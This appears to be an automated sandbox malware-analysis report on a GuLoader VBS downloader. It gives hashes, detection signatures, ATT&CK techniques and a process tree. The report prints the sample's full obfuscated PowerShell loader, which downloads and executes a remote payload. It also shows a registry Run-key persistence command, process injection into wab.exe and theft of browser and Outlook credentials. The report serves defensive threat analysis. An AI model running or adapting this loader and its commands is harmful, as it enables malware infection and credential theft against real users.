guloader | 7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
19/05/2024, 01:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b.vbs
Size 724KB
Sample240519-bwgrxsbc4s
SHA256 7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b
MD5 8a9e78bb8236c5f5d99e6f93be86115a
SHA1 079265e295095e6626324c45b3a6362b804cd119
SHA512 cc4d362d67f0eee74f8f035bc3d3db10455695db819ce3bb782ef6ac2a795cd389a0db56b5d53126826a7fa4bf62edb54a66eabe1c60c32b11b4ba5b628ae01e
SSDEEP 6144:AsyS5Hz0L9jTGquGSqCG2NPnbY/0M7xxMldTSsp3vraSEPW/snrOLNC51gdQl7VD:gCRT+WPxm3pfqiMwc/MVqAd+27
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detects executables built or packed with MPress PE compressor 12 IoCs

resource	yara_rule
behavioral2/memory/2392-56-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2624-57-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3588-61-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3588-60-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3588-59-0x0000000000400000-0x0000000000424000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2392-58-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2624-55-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/2392-54-0x0000000000400000-0x0000000000478000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3328-68-0x000000001F8A0000-0x000000001F8B9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3328-71-0x000000001F8A0000-0x000000001F8B9000-memory.dmp	INDICATOR_EXE_Packed_MPress
behavioral2/memory/3328-72-0x000000001F8A0000-0x000000001F8B9000-memory.dmp	INDICATOR_EXE_Packed_MPress

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2392-58-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

resource	yara_rule
behavioral2/memory/3588-61-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2392-58-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	3628	WScript.exe
51	464	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Stealthiest = "%Skatesviget184% -w 1 $Aerosoldaaserne=(Get-ItemProperty -Path 'HKCU:\\Proanaphora\\').Fordjelsesprocessen;%Skatesviget184% ($Aerosoldaaserne)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
3328	wab.exe
3328	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2920	powershell.exe
3328	wab.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2920 set thread context of 3328	2920	powershell.exe	108
PID 3328 set thread context of 2392	3328	wab.exe	112
PID 3328 set thread context of 2624	3328	wab.exe	113
PID 3328 set thread context of 3588	3328	wab.exe	114

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2820	reg.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
464	powershell.exe
464	powershell.exe
2920	powershell.exe
2920	powershell.exe
2920	powershell.exe
2392	wab.exe
2392	wab.exe
3588	wab.exe
3588	wab.exe
2392	wab.exe
2392	wab.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2920	powershell.exe
3328	wab.exe
3328	wab.exe
3328	wab.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	3588	wab.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3328	wab.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3628 wrote to memory of 464	3628	WScript.exe	103
PID 3628 wrote to memory of 464	3628	WScript.exe	103
PID 464 wrote to memory of 2712	464	powershell.exe	105
PID 464 wrote to memory of 2712	464	powershell.exe	105
PID 464 wrote to memory of 2920	464	powershell.exe	106
PID 464 wrote to memory of 2920	464	powershell.exe	106
PID 464 wrote to memory of 2920	464	powershell.exe	106
PID 2920 wrote to memory of 752	2920	powershell.exe	107
PID 2920 wrote to memory of 752	2920	powershell.exe	107
PID 2920 wrote to memory of 752	2920	powershell.exe	107
PID 2920 wrote to memory of 3328	2920	powershell.exe	108
PID 2920 wrote to memory of 3328	2920	powershell.exe	108
PID 2920 wrote to memory of 3328	2920	powershell.exe	108
PID 2920 wrote to memory of 3328	2920	powershell.exe	108
PID 2920 wrote to memory of 3328	2920	powershell.exe	108
PID 3328 wrote to memory of 4200	3328	wab.exe	109
PID 3328 wrote to memory of 4200	3328	wab.exe	109
PID 3328 wrote to memory of 4200	3328	wab.exe	109
PID 4200 wrote to memory of 2820	4200	cmd.exe	111
PID 4200 wrote to memory of 2820	4200	cmd.exe	111
PID 4200 wrote to memory of 2820	4200	cmd.exe	111
PID 3328 wrote to memory of 2392	3328	wab.exe	112
PID 3328 wrote to memory of 2392	3328	wab.exe	112
PID 3328 wrote to memory of 2392	3328	wab.exe	112
PID 3328 wrote to memory of 2392	3328	wab.exe	112
PID 3328 wrote to memory of 2624	3328	wab.exe	113
PID 3328 wrote to memory of 2624	3328	wab.exe	113
PID 3328 wrote to memory of 2624	3328	wab.exe	113
PID 3328 wrote to memory of 2624	3328	wab.exe	113
PID 3328 wrote to memory of 3588	3328	wab.exe	114
PID 3328 wrote to memory of 3588	3328	wab.exe	114
PID 3328 wrote to memory of 3588	3328	wab.exe	114
PID 3328 wrote to memory of 3588	3328	wab.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7af58069fd2ceb8da1a60644649787b738b2d41ef32a385f1e1e8711bfba0b7b.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Enfetters = 1;$Stegespiddet='Sub';$Stegespiddet+='strin';$Stegespiddet+='g';Function biflow($Hler){$Nonsynchronous=$Hler.Length-$Enfetters;For($Kiribatier=2;$Kiribatier -lt $Nonsynchronous;$Kiribatier+=3){$Incapacitation68+=$Hler.$Stegespiddet.Invoke( $Kiribatier, $Enfetters);}$Incapacitation68;}function Mendelize($Beostren){. ($Scoop) ($Beostren);}$Enouncement=biflow ' iMKuo qzPliG l TlMaa i/S,5P..Ut0Ex T (UnWFli,in tdSaoTiwUds U ,aN.iT S Bl1 F0 S.Id0 k;S, FrWtiiBlnS.6.u4un;,r Sax.m6no4Pr;a TorRev,n:Dr1M,2mo1Le. K0ka)p NeG Fe ,cU.kK.o.o/ A2Ov0Ku1In0 P0Co1P 0he1Pi KoF i,ar,reD f.ooKaxag/Ou1,e2A.1Op.Ci0G ';$Indskrpes=biflow 'saU Rs Le cr -suA UgkoeGonSut A ';$Cabin=biflow 'A.h.etBatGep Gs M: o/Ha/ fr .iUncmoodrhSilKutNodGe.Put oCop.i/HrG Sr.ra.ynBeuS.lUnsUm.N.a Cs Biso ';$Franciss2=biflow 'P,> , ';$Scoop=biflow 'NoiE,e .xSp ';$Begivenhedsrigt='Cochairing';$Finlandssvensk = biflow ' neHacInh oo.l F%InaLfpAfpGad KaOrt ,a I% ,\BlGKmeFlnBabBlrT.uf.g esInmHeu,il ,i,dgKlh he CdB.e rKonSlea.sAf.M M QebetB r&i,&An W,ePrcHoh oMo U,tPi ';Mendelize (biflow 'R.$jagSulHeo Db ,aPil u:ExS .iAnl PvGieEkrRel ,aRuk ve = ,(tucHem Rd S K,/BocO. Cy$UnFBiiB,n Tlgla anDedA.sSpsLiv,le nCosdikBo)po ');Mendelize (biflow ' a$ScgC.lOroOrbPhaDelDe:RhM .eMytt aBrrKogAmo SnS =Sc$ HCLyaScbN i UnGt.,asThp plL,iVatCo(Ra$frF vrBeap.n Uc ui.rsChs F2To),y ');$Cabin=$Metargon[0];$Sofismers= (biflow ' ,$ yg rlS oRebMeaFrlC,: HRS ePui LnTrkRee d .1.a5ne3 ,=PaNB.eHew .-AcO rb BjS,e Nc MtBr HSPoy,esC,t ,eK,mS .OvN He AtS..PuWd,eI bU.C ,lSciyoeLanRot');$Sofismers+=$Silverlake[1];Mendelize ($Sofismers);Mendelize (biflow ' ,$A.RRee ,iBin,lkBeeMudVi1Ru5A 3,e.AaHVae a tddieLerH,sTe[P.$NoIevnLadExsHykR,rCapp,eHesLe]Sk=Sc$EsEapn ,o ,u,rn,ucBieW m UeUnnsutJu ');$Skulled=biflow 'No$DoRVieiliInnOpk ,eFldHy1Sa5 P3Ne.DeDCeo CwMinN l.ooQuaLudEmF.ai .lAreHo( .$ChC UaSpbC i nnF,, .$ Dv.ueS.dG eZerChkInvBraSteS.gFae K)St ';$vederkvaege=$Silverlake[0];Mendelize (biflow 'Su$BagBrlB o rbDiaTulFo:PrM.nu btBoeBlnPielisB sF.eO.sSq2 ,2pr9Fo=Sk( KTToeAnsSktFl-,ePNoaSitFohk. Sk$EpvUneDodTue SrU,kWovCoaNoeWhgTreEs)su ');while (!$Mutenesses229) {Mendelize (biflow ' .$FogpelkloS bBiaVal,y:P,HCoaR vSyfRerBruReeE =Ko$D.t Sr ,u EeSm ') ;Mendelize $Skulled;Mendelize (biflow 'HaSSetFnaCur Bt -P,S lSee,yerepPa Me4Un ');Mendelize (biflow 'b $ CgDol .o FbHaa lU,:ImMWou ,t,neF nkaeAdsLysReeAls 2Gi2,e9Su=Th(m.T.eeO,s Gt D-BaP MaM,tAmh C B $Fdv.rePodFleUnrHek.zvT,a .eSogN eFi)Sk ') ;Mendelize (biflow 'Li$ RgGrlOfoHabT,aLol s:klM faLasA.kNoi .nReo or .dUn= $ ag Hl.uoNrbHoa,rl,a: NSOutEfa.el Od UkCaaS.r Rl,ks ,+Pl+ha%,y$ AM ,e tRuaPrrB,gdeoImnPr. lc FoRauUbnMutH, ') ;$Cabin=$Metargon[$Maskinord];}$interventions=339390;$Pachycholia=26806;Mendelize (biflow ' S$ ,gBalSto bgaaFilUn:M.R peTotEnsCihN.i.asP t o orMii AeNanPl S,=Sl C.GB,eC,tFo-K,CS o Pn Ztave In mt . V $tvv.aeL.d aeSkrEpkEpvDia keB gCae.i ');Mendelize (biflow ',l$GegRulAeo.kbCraEnlIl: rBfoeBig SaG,lFolToeRedU. He= S .j[PaSKoyM sBetMae rmRe.CoC uoSmnUnvElePrrCutIn]T.:Je:B FsprToo imY BJaaSpsThejo6un4StSMit VrH,i TnS,gJu(Bl$ rRUne Ft,esTohPriMisclt ioAdrfoiLye UnR,)Ig ');Mendelize (biflow ' o$Mig lToo Vb oaIrlCu:MoKFno igb.eSkrCos,okF,eEls t G,= F Ef[phSStyE,sTitMieGamT .SeTBreYnx,lt k.F.EO n.jcSvoStd.ei Tn,agTe] r: ,: AruS GCHeIVuIin.HaGUoeTetdiSUdtParMiiS,n Gg T(Sk$ruB .eGegA.aChl QlJoeubdUp)st ');Mendelize (biflow 'Ce$ Dg Fl koDibReaSelAl:.tS Ki,enund.rsSpfOro.lr FvFiiInrT,rPoiRen g PeAfr isGr6Be5 =,e$I.Kcro .gPseF.rUds RkDoeT s L. ,s.eu,gbGasR.tS rTeiF,nCegDo( G$HuiAsn htDoegrr .vheeS nR,tNoiR.oL,nF,swa, .$CoP taKocOvh.oy,tcGehBeo,vlS,iLoaun)Un ');Mendelize $Sindsforvirringers65;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Genbrugsmulighedernes.Met && echo t"
    3⤵
    PID:2712
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Enfetters = 1;$Stegespiddet='Sub';$Stegespiddet+='strin';$Stegespiddet+='g';Function biflow($Hler){$Nonsynchronous=$Hler.Length-$Enfetters;For($Kiribatier=2;$Kiribatier -lt $Nonsynchronous;$Kiribatier+=3){$Incapacitation68+=$Hler.$Stegespiddet.Invoke( $Kiribatier, $Enfetters);}$Incapacitation68;}function Mendelize($Beostren){. ($Scoop) ($Beostren);}$Enouncement=biflow ' iMKuo qzPliG l TlMaa i/S,5P..Ut0Ex T (UnWFli,in tdSaoTiwUds U ,aN.iT S Bl1 F0 S.Id0 k;S, FrWtiiBlnS.6.u4un;,r Sax.m6no4Pr;a TorRev,n:Dr1M,2mo1Le. K0ka)p NeG Fe ,cU.kK.o.o/ A2Ov0Ku1In0 P0Co1P 0he1Pi KoF i,ar,reD f.ooKaxag/Ou1,e2A.1Op.Ci0G ';$Indskrpes=biflow 'saU Rs Le cr -suA UgkoeGonSut A ';$Cabin=biflow 'A.h.etBatGep Gs M: o/Ha/ fr .iUncmoodrhSilKutNodGe.Put oCop.i/HrG Sr.ra.ynBeuS.lUnsUm.N.a Cs Biso ';$Franciss2=biflow 'P,> , ';$Scoop=biflow 'NoiE,e .xSp ';$Begivenhedsrigt='Cochairing';$Finlandssvensk = biflow ' neHacInh oo.l F%InaLfpAfpGad KaOrt ,a I% ,\BlGKmeFlnBabBlrT.uf.g esInmHeu,il ,i,dgKlh he CdB.e rKonSlea.sAf.M M QebetB r&i,&An W,ePrcHoh oMo U,tPi ';Mendelize (biflow 'R.$jagSulHeo Db ,aPil u:ExS .iAnl PvGieEkrRel ,aRuk ve = ,(tucHem Rd S K,/BocO. Cy$UnFBiiB,n Tlgla anDedA.sSpsLiv,le nCosdikBo)po ');Mendelize (biflow ' a$ScgC.lOroOrbPhaDelDe:RhM .eMytt aBrrKogAmo SnS =Sc$ HCLyaScbN i UnGt.,asThp plL,iVatCo(Ra$frF vrBeap.n Uc ui.rsChs F2To),y ');$Cabin=$Metargon[0];$Sofismers= (biflow ' ,$ yg rlS oRebMeaFrlC,: HRS ePui LnTrkRee d .1.a5ne3 ,=PaNB.eHew .-AcO rb BjS,e Nc MtBr HSPoy,esC,t ,eK,mS .OvN He AtS..PuWd,eI bU.C ,lSciyoeLanRot');$Sofismers+=$Silverlake[1];Mendelize ($Sofismers);Mendelize (biflow ' ,$A.RRee ,iBin,lkBeeMudVi1Ru5A 3,e.AaHVae a tddieLerH,sTe[P.$NoIevnLadExsHykR,rCapp,eHesLe]Sk=Sc$EsEapn ,o ,u,rn,ucBieW m UeUnnsutJu ');$Skulled=biflow 'No$DoRVieiliInnOpk ,eFldHy1Sa5 P3Ne.DeDCeo CwMinN l.ooQuaLudEmF.ai .lAreHo( .$ChC UaSpbC i nnF,, .$ Dv.ueS.dG eZerChkInvBraSteS.gFae K)St ';$vederkvaege=$Silverlake[0];Mendelize (biflow 'Su$BagBrlB o rbDiaTulFo:PrM.nu btBoeBlnPielisB sF.eO.sSq2 ,2pr9Fo=Sk( KTToeAnsSktFl-,ePNoaSitFohk. Sk$EpvUneDodTue SrU,kWovCoaNoeWhgTreEs)su ');while (!$Mutenesses229) {Mendelize (biflow ' .$FogpelkloS bBiaVal,y:P,HCoaR vSyfRerBruReeE =Ko$D.t Sr ,u EeSm ') ;Mendelize $Skulled;Mendelize (biflow 'HaSSetFnaCur Bt -P,S lSee,yerepPa Me4Un ');Mendelize (biflow 'b $ CgDol .o FbHaa lU,:ImMWou ,t,neF nkaeAdsLysReeAls 2Gi2,e9Su=Th(m.T.eeO,s Gt D-BaP MaM,tAmh C B $Fdv.rePodFleUnrHek.zvT,a .eSogN eFi)Sk ') ;Mendelize (biflow 'Li$ RgGrlOfoHabT,aLol s:klM faLasA.kNoi .nReo or .dUn= $ ag Hl.uoNrbHoa,rl,a: NSOutEfa.el Od UkCaaS.r Rl,ks ,+Pl+ha%,y$ AM ,e tRuaPrrB,gdeoImnPr. lc FoRauUbnMutH, ') ;$Cabin=$Metargon[$Maskinord];}$interventions=339390;$Pachycholia=26806;Mendelize (biflow ' S$ ,gBalSto bgaaFilUn:M.R peTotEnsCihN.i.asP t o orMii AeNanPl S,=Sl C.GB,eC,tFo-K,CS o Pn Ztave In mt . V $tvv.aeL.d aeSkrEpkEpvDia keB gCae.i ');Mendelize (biflow ',l$GegRulAeo.kbCraEnlIl: rBfoeBig SaG,lFolToeRedU. He= S .j[PaSKoyM sBetMae rmRe.CoC uoSmnUnvElePrrCutIn]T.:Je:B FsprToo imY BJaaSpsThejo6un4StSMit VrH,i TnS,gJu(Bl$ rRUne Ft,esTohPriMisclt ioAdrfoiLye UnR,)Ig ');Mendelize (biflow ' o$Mig lToo Vb oaIrlCu:MoKFno igb.eSkrCos,okF,eEls t G,= F Ef[phSStyE,sTitMieGamT .SeTBreYnx,lt k.F.EO n.jcSvoStd.ei Tn,agTe] r: ,: AruS GCHeIVuIin.HaGUoeTetdiSUdtParMiiS,n Gg T(Sk$ruB .eGegA.aChl QlJoeubdUp)st ');Mendelize (biflow 'Ce$ Dg Fl koDibReaSelAl:.tS Ki,enund.rsSpfOro.lr FvFiiInrT,rPoiRen g PeAfr isGr6Be5 =,e$I.Kcro .gPseF.rUds RkDoeT s L. ,s.eu,gbGasR.tS rTeiF,nCegDo( G$HuiAsn htDoegrr .vheeS nR,tNoiR.oL,nF,swa, .$CoP taKocOvh.oy,tcGehBeo,vlS,iLoaun)Un ');Mendelize $Sindsforvirringers65;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Genbrugsmulighedernes.Met && echo t"
      4⤵
      PID:752
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3328
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stealthiest" /t REG_EXPAND_SZ /d "%Skatesviget184% -w 1 $Aerosoldaaserne=(Get-ItemProperty -Path 'HKCU:\Proanaphora\').Fordjelsesprocessen;%Skatesviget184% ($Aerosoldaaserne)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4200
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stealthiest" /t REG_EXPAND_SZ /d "%Skatesviget184% -w 1 $Aerosoldaaserne=(Get-ItemProperty -Path 'HKCU:\Proanaphora\').Fordjelsesprocessen;%Skatesviget184% ($Aerosoldaaserne)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2820
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\svamypavixyjwiidmgjdkvspk"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2392
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uxgwzhkowfqwhofhdqdxnanglvbe"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:2624
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\frlpaavqknibjutlnbqyynapublnjpu"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_kz3hq2dk.5es.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kz3hq2dk.5es.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

svamypavixyjwiidmgjdkvspk

Path C:\Users\Admin\AppData\Local\Temp\svamypavixyjwiidmgjdkvspk
Size 4KB
SHA256 880d0a92fcd2d68631b413e0cc98d71fc68337abb19f59901c075e058c694b47
MD5 25a7e8d624c2bfdb2facdc50a1d9b965
SHA1 bbf90e7e78dcba692d6a35716d72cd1affc8cf9c
SHA512 35e57b1fd68fd64c325d179323c3383c39cb00e37b42480c0962517eb8ffdffd5d3a95b77122161f651e45ab2fee4a8e5c3f604bd80351a2680f087ea2b9517f
SSDEEP 48:wvvv0KxfvvcKxfdvv0KxBvv0Kxakvv0K7:mvnxvPp1vnPvnbvn7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Genbrugsmulighedernes.Met

Path C:\Users\Admin\AppData\Roaming\Genbrugsmulighedernes.Met
Size 476KB
SHA256 936efbf9e8ba44d93879829570d0e07bcef6e0c5c45806522fa94e68690aa318
MD5 b91c6b1943660253906ffb69bddd1f96
SHA1 e003ed8aba4c593fcb4cca7f3244dd5cce63f6ca
SHA512 053b2d85ab79101fd31ad81f217bcf53e4bb534958d13b3d29e272e42c7d41aff7f4bfdb9c52dcab2c1940a90abba8909e559b86756b16fb67add96ecdb49b3a
SSDEEP 6144:te2VMOie5B580Q9o3fSUvvqyxLki7ULRmuveTBhbDclWGvUqlUkvLsSzJqjW3iYh:7+OxfmEP3CASRmZv3clWGvKqdqjW5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/464-52-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

Download

memory/464-14-0x0000021D9FF20000-0x0000021D9FF42000-memory.dmp

Download

memory/464-15-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

Download

memory/464-16-0x00007FFA17D00000-0x00007FFA187C1000-memory.dmp

Download

memory/464-4-0x00007FFA17D03000-0x00007FFA17D05000-memory.dmp

Download

memory/2392-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2392-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2392-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2624-62-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2624-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2624-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2920-39-0x0000000006DF0000-0x0000000006E12000-memory.dmp

Download

memory/2920-20-0x0000000004CD0000-0x00000000052F8000-memory.dmp

Download

memory/2920-37-0x0000000006160000-0x000000000617A000-memory.dmp

Download

memory/2920-40-0x0000000008030000-0x00000000085D4000-memory.dmp

Download

memory/2920-36-0x0000000007400000-0x0000000007A7A000-memory.dmp

Download

memory/2920-42-0x00000000085E0000-0x00000000098A0000-memory.dmp

Download

memory/2920-19-0x00000000022A0000-0x00000000022D6000-memory.dmp

Download

memory/2920-35-0x0000000005BF0000-0x0000000005C3C000-memory.dmp

Download

memory/2920-34-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

Download

memory/2920-33-0x00000000055D0000-0x0000000005924000-memory.dmp

Download

memory/2920-38-0x0000000006E60000-0x0000000006EF6000-memory.dmp

Download

memory/2920-23-0x0000000005560000-0x00000000055C6000-memory.dmp

Download

memory/2920-21-0x0000000004C30000-0x0000000004C52000-memory.dmp

Download

memory/2920-22-0x00000000054F0000-0x0000000005556000-memory.dmp

Download

memory/3328-49-0x0000000002540000-0x0000000003800000-memory.dmp

Download

memory/3328-68-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

Download

memory/3328-71-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

Download

memory/3328-72-0x000000001F8A0000-0x000000001F8B9000-memory.dmp

Download

memory/3588-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3588-60-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/3588-61-0x0000000000400000-0x0000000000424000-memory.dmp

Download